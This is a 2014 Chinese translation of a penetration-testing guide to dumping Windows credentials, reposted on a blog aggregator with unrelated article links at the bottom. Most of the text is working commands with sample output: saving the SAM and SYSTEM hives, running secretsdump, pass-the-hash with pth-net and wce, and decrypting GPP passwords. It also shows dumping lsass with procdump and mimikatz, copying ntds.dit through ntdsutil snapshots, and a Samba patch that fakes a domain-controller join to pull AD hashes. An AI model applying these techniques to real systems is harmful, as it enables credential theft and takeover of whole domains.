[译]获取Windows口令

标签: windows 口令 | 发表时间:2014-09-24 23:49 | 作者:j4s0nh4ck
出处:http://www.iteye.com
原文地址:https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
参考资料:http://bernardodamele.blogspot.com.au/
一)从Windows主机上获取口令:
1)注册表
获得一份SYSTEM, SECURITY 和 SAM信息,download到本地机器
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save

2)密码hash
通过一条secretsdump( https://code.google.com/p/impacket/source/browse/trunk/examples/secretsdump.py)命令获得本地账户的密码hash,缓存的域口令以及LSA密码
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
  • Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
  • Dumping local SAM hashes (uid:rid:lmhash:nthash)
  • renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
  • Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
  • hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS:::
    Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS:::
  • Dumping LSA Secrets
  • $MACHINE.ACC
  • $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
    ...

    3)本地SAM Hashes
    使用Ophcrack破解LM hash(ophcrack  == >> http://ophcrack.sourceforge.net/)
    使用JtR或hashcat破解NT hash(Jtr == >> http://www.openwall.com/john/ hashcat ==>> http://hashcat.net/)
    即使不能破解hash,也可能通过传递其他账户的hash方法攻击其他主机甚至域。(传递hash攻击: http://en.wikipedia.org/wiki/Pass_the_hash)

    4)缓存的域口令
    存在一些域用户之前登录的密码hash口令
    使用JtR或hashcat破解。注意声明格式,要么是mscash(xp,w2k3),要么是mscash2(vista,w2k8,w2k8...)。注意不能使用这种hash进行传递hash攻击

    5)LSA秘密
    在这里,将会发现账户密码被设置给低级别的服务(不同于Local System, Network Service 以及, Local Service),自动登录等
    如果Windows主机是域中的一员,将会发现域主机的口令,通过这个口令,可以通过域认证,从而可以列举域用户,管理员以及浏览共享文件夹等
    在Windows上使用wce或Kali中的pth来利用这些口令
    $ pth-net rpc user -U 'securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f' -S dc1.securus.corp.com
    Administrator
    hdes
    ...
    通过域控制器来查找Group Policy Preferences (GPP)密码,并破解:
    C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
    C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
    \\192.168.122.55\sysvol\securus.corp.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml: ="" description="" cpassword="1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/>
    C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
    1q2w3e4r5t


    6)内存中口令
    使用mimikatz从内存获取纯文本密码以及通过任务管理器获得LSASS进程
    (mimikatz == >> http://blog.gentilkiwi.com/securite/mimikatz/minidump)
    通过使用Windows自带的任务管理器右击lsass.exe,然后选自“Create Dump FIle”把lsass.exe进程到dump到一个本地文件,或者Procdump(vista之前的版本),也可以使用powershell( http://carnal0wnage.attackresearch.com/2013/07/mimikatz-minidump-and-mimikatz-via-bat.html
    C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
    然后使用mimikatz和它的minidump模块dump口令
    C:\> mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit
    确保mimikatz的主版本和dump文件的版本以及架构一致(参考: http://blog.gentilkiwi.com/wp-content/uploads/2013/04/minidump_matrix.png)
    相应的,也可以上传wce到主机上,但是二进制文件可能被杀毒软件过滤(参考: http://www.ampliasecurity.com/research/wcefaq.html)

    7)Credential Manager
    当一个user认证一个共享网络服务,一个代理或使用客户端软件的时候点击了Remember my password”,密码一般会存储成一个使用Windows Data Protection API加密后的vault,可以从Credential Manager中看到每一个被加密的vault,然后可以通过Network Password Recoverydump他们。注意架构,否则失败。(Network Password Recovery ==>> http://www.nirsoft.net/utils/network_password_recovery.html)

    8)受保护的存储
    通过Protected Storage PassView获得IE, Outlook和MSN 中的密码

    9)第三方软件
    NirSoft 提供很多恢复第三方软件口令的工具( http://nirsoft.net/utils/index.html#password_utils)

    二)从域控制器中获得域用户口令
    这些技术用于你能访问域控制器是获取域用户口令
    1)Volume Shadow Copy
    这种技术由从域控制器等Directory服务中获取Active Directory数据库(也就是ntds.dit文件)组成。要求攻击者交互式地通过远程桌面或"psexec"登录到域控制器--背后的理论是使用Volume Shadow Copy功能获得一份ntds.dit,这个文件有时可能被锁住或没有读权限。
    首先注意Volume Shadow Copy 服务的状态。如果Volume Shadow Copy没有启动(默认启动的),通过ntdsutil或vssadmin来启动服务。记住当工作完成后要把状态恢复。
    然后从DSA Database file参数中确认ntds.dit文件位置
    C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters
    然后,检查ntds.dit文件大小,确保至少有两倍的空闲空间。之后使用ntdsutil( http://technet.microsoft.com/en-us/library/cc753343.aspx)工具来做一个active directory database快照。
    C:\> ntdsutil
    ntdsutil: snapshot
    snapshot: activate instance NTDS
    Active instance set to "NTDS".
    snapshot: list all
    No snapshots found.
    // If there is a recent snapshot (ie. backups scheduled with Windows Server Backup), then consider using that instead of creating a new one.)
    snapshot: create
    Creating snapshot...
    Snapshot set {ef026688-4c02-48b6-bc24-24df118eb7a2} generated successfully.
    snapshot: list all
    1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
    2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
    snapshot: mount 2
    Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} mounted as C:\$SNAP_201310241833_VOLUMEC$\
    接下来从C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\下载一份ntds.dit文件,同时获得一份SYSTEM注册表(reg.exe save HKLM\SYSTEM c:\system.save)。
    然后删除信息
    snapshot: list all
    1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
    2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} C:\$SNAP_201310241833_VOLUMEC$\
    snapshot: unmount 2
    Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} unmounted.
    snapshot: list all
    1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
    2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
    snapshot: delete 1
    Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} deleted.
    snapshot: ^C

    恢复VSS服务到原来的状态。也可以使用vssadmin(http://www.pentestgeek.com/2013/01/10/psexec_command-not-your-daddys-psexec/),但是vssadmin不能提供“一致的”快照,但是ntdsutil可以提供恰当的ntds数据库的备份。但是在Windows2003上,ntdsutil不能创建快照,所以只能使用vssadmin。
    如果ntds.dit文件出现损坏,使用esentutl( http://technet.microsoft.com/en-us/library/hh875546.aspx)修复:
    sentutl /p /o ntds.dit
    现在使用secretsdump( http://code.google.com/p/impacket/source/browse/trunk/examples/secretsdump.py)来dump hash文件
    $ secretsdump.py -system system.save -ntds ntds.dit LOCAL
    Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
  • Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
  • Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
  • Searching for pekList, be patient
  • Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
  • Reading and decrypting hashes from ntds.dit
  • Administrator:500:aad3b435b51404eeaad3b435b51404ee:a881324bad161293dedc71817988d944:::
    ...
    也可以使用-history选项来dump历史密码

    2)AD Replication (EXPERIMENTAL)
    这种技术相比于Volume Shadow Copy侵略性更弱一些,因为它不需要创建AD数据库的快照,启动VSS服务,甚至交换性登录DC服务器。同时如果服务器被剥离了管理员的Se*特权,完全禁止了VSS服务,禁止创建新服务时,它也是最好的选择。
    这个技术有本地复制AD数据库组成。AD复制通常发生在一个新的域控制器加入到域中的时候,无路如何,加入一个新的域服务器比在AD数据库中创建一个新的object,然后甚至在删除后还会留下记号这种入侵性要小一些。所以我们需要一个工具来进行复制步骤
    由于Samba实现了添加一个DC到域中的所有步骤,所以我们可以修改Samba来实现。我们做的变更只是禁止所有往AD传送数据的步骤而只留下复制的步骤。
    使用如下的patch
    --- ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
    +++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
    @@ -1053,6 +1053,11 @@
    ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
    ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]

    + ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”, ‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u')) # any GUID will do
    + ctx.join_provision()
    + ctx.join_replicate()
    + return
    +
    if not ctx.subdomain:
    然后准备复制
    # rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
    # echo nameserver 192.168.122.55 > /etc/resolv.conf # this is the IP address of the DC

    创建副本
    # samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 --realm=securus.corp.com
    Finding a writeable DC for domain 'securus.corp.com'
    Found DC dc1.securus.corp.com
    workgroup is SECURUS
    realm is securus.corp.com
    Calling bare provision
    More than one IPv4 address found. Using 192.168.122.25
    No IPv6 address will be assigned
    Provision OK for domain DN DC=securus,DC=corp,DC=com
    Starting replication
    Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
    Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
    Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
    Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
    Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
    Analyze and apply schema objects
    Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
    Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
    Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
    Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
    Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
    Replicating critical objects from the base DN of the domain
    Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
    Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
    Done with always replicated NC (base, config, schema)
    Committing SAM database
    Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC
    然后使用pdbedit 来dumpNThash
    # pdbedit -L -w
    Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:
    hdes:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:833966FB79EE1554A3D4B900E9337FFD:[UX ]:LCT-528D7BA5:
    Samba不提供dump历史密码或LM hash的功能,但是可以用samba-pwdump.py( http://files.securusglobal.com/samba-pwdump.py)脚本直接从LBD中提取出来
    # ./samba-pwdump.py '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb' -history
    Administrator:500:43d119e8b3d8710bc2265b23734e0dac:a881324bad161293dedc71817988d944:::
    jdoe:1111:b34ce522c3e4c877664345140a852f61:077cccc23f8ab7031726a3b70c694a49:::
    jdoe_history0:1111:c23413a8a1e7665fccf9155e3e7db453:316c5ae8a7b5dfce4a5604d17d9e976e:::
    为了区分不同,比较了LDIF导出的Root DSE 和AD的DNs
    #!/bin/bash
    # dump Root DSE
    ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "" -s base 'objectclass=*'
    # dump base DNs
    contexts=('DC=securus,DC=corp,DC=com' 'CN=Configuration,DC=securus,DC=corp,DC=com' 'CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com' 'DC=DomainDnsZones,DC=securus,DC=corp,DC=com' 'DC=ForestDnsZones,DC=securus,DC=corp,DC=com')
    for ctx in "${contexts[@]}"; do
    ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "$ctx" -s sub 'objectclass=*'
    done


    唯一的不同就是域管理员的logonCount和lastLogon属性增加了。所以Root DSE的highestCommitedUSN属性也增加了。副本会在Windows的security log产生“Directory Service Access”记录,这是由于特权访问AD导致的。如果其他的分类也启动了,那么也会记录其他的log。副本不改变注册表项。


    已有 0 人发表留言,猛击->> 这里<<-参与讨论


    ITeye推荐



    相关 [windows 口令] 推荐:

    [译]获取Windows口令

    - - 互联网 - ITeye博客
    原文地址:https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/. 参考资料:http://bernardodamele.blogspot.com.au/. 一)从Windows主机上获取口令:.

    Windows 8就是Windows 6.2

    - Darth Noctis - cnBeta.COM
    Windows Vista内核版本号为Windows 6.0,Windows 7为Windows 6.1,微软近日也证实,Windows 8就是Windows 6.2,尽管这个消息已经是尽人皆知了. 想必微软在Vista身上受到了惨痛的教训,以至于今后很长一段时间都无法痊愈. 如果Windows 8下一代的内核版本号采用Windows 6.3,你也不必太过惊讶.

    Windows工具集

    - - 互联网 - ITeye博客
    参考: https://community.rapid7.com/servlet/JiveServlet/downloadBody/2881-102-2-6389/Mitigating%20Service%20Account%20Credential%20Theft%20on%20Windows.pdf.

    Windows Phone已死,Windows Phone 将死?

    - Yu - cnBeta.COM
    现在Windows Phone的销售是一个茶几啊. 微软已经承认,Windows Phone的表现低于预期. 而在4-6月这个季度的数据显示,Windows Phone的销量只有140万台,市场占有率只有1.3%,已经达到了历史上的新低. 而comScore的最新数据也表示,他在美国和欧洲5国的总市场占有率也由2.8%下降到2.2%.

    windows下配置node.js

    - We_Get - CNode社区
    Cygwin网站:http://cygwin.com/,Cygwin是什么就不多说了,反正是必须的. 先下载setup文件,就算安装完了这个文件也别删,以后万一还有用得着的地方. 如果首次安装有些包忘记装了,还得用这个再次安装. 我一开始就忘记了好几个包,导致浪费了好多时间. 主要是记得第一个界面时选择“install from internet”,否则就会失败.

    口令与隐私

    - Kindy - 《程序员》杂志官网
    就在我开始撰稿之时,英国女王正在二战盟军密码破译中心所在地向英国儿童宣布一项密码破解挑战赛. 这是自美国总统奥巴马在电视讲话中提醒公众注意密码安全后,第二位西方国家元首就很细节的安全技巧直接与民众进行对话,给充满口令和密码迷局的本月带来了有趣的风景. 微软决定强化Hotmail的口令安全管理,逐步禁止用户采用常见密码.

    微软发布Kinect SDK For Windows

    - skyan - Solidot
    微软遵守承诺发布了Kinect SDK For Windows,允许教育研究人员或爱好者为这种体感控制器开发新的应用. SDK是基于XBOX 360上使用的软件,但微软将其移植到了.NET平台,支持C#、VB.NET或C++.NET等开发语言. Kinect SDK For Windows的运行平台是Windows 7,最低硬件需求是4GB RAM、双核处理器和DirectX 9.0c显卡,开发工具是Visual Studio 2010 Express(免费版),.NET Framework 4.0.

    Kinect for Windows SDK出炉了

    - 杯子 - 增强视觉 | 计算机视觉 增强现实
    官方首页:http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/default.aspx. 微软从PrimeSense买来Kinect硬件加上来自Andrew Blake 带领的MSR剑桥视觉组的算法,让微软在本已经热卖的XBox360上又大赚了一大笔.

    从Windows 1.0升级到Windows7

    - Sheriff - Solidot
    一位勇敢的操作系统研究者发布了一则YouTube视频(YouTube,Youku),展现了从Windows 1.0一路升级到Windows7的经过. 作者是在一个VMWar虚拟机上安装微软的操作系统,视频展示了DOS和Windows的安装,通过安装一些DOS游戏来观察较新的操作系统是如何处理向后兼容性的,以及Windows中偏好设置是如何在升级中保留下来的.

    Windows编程革命简史

    - Shang Wenbin - 酷壳 - CoolShell.cn
    源文:A Brief History of Windows Programming Revolutions (Ron Burk). 首先,是 Windows API 和 DLL Hell. 在那个时候,Microsoft 创建了 VERSIONINFO 资源来管理版本信息,当然,是用来消除DLL Hell.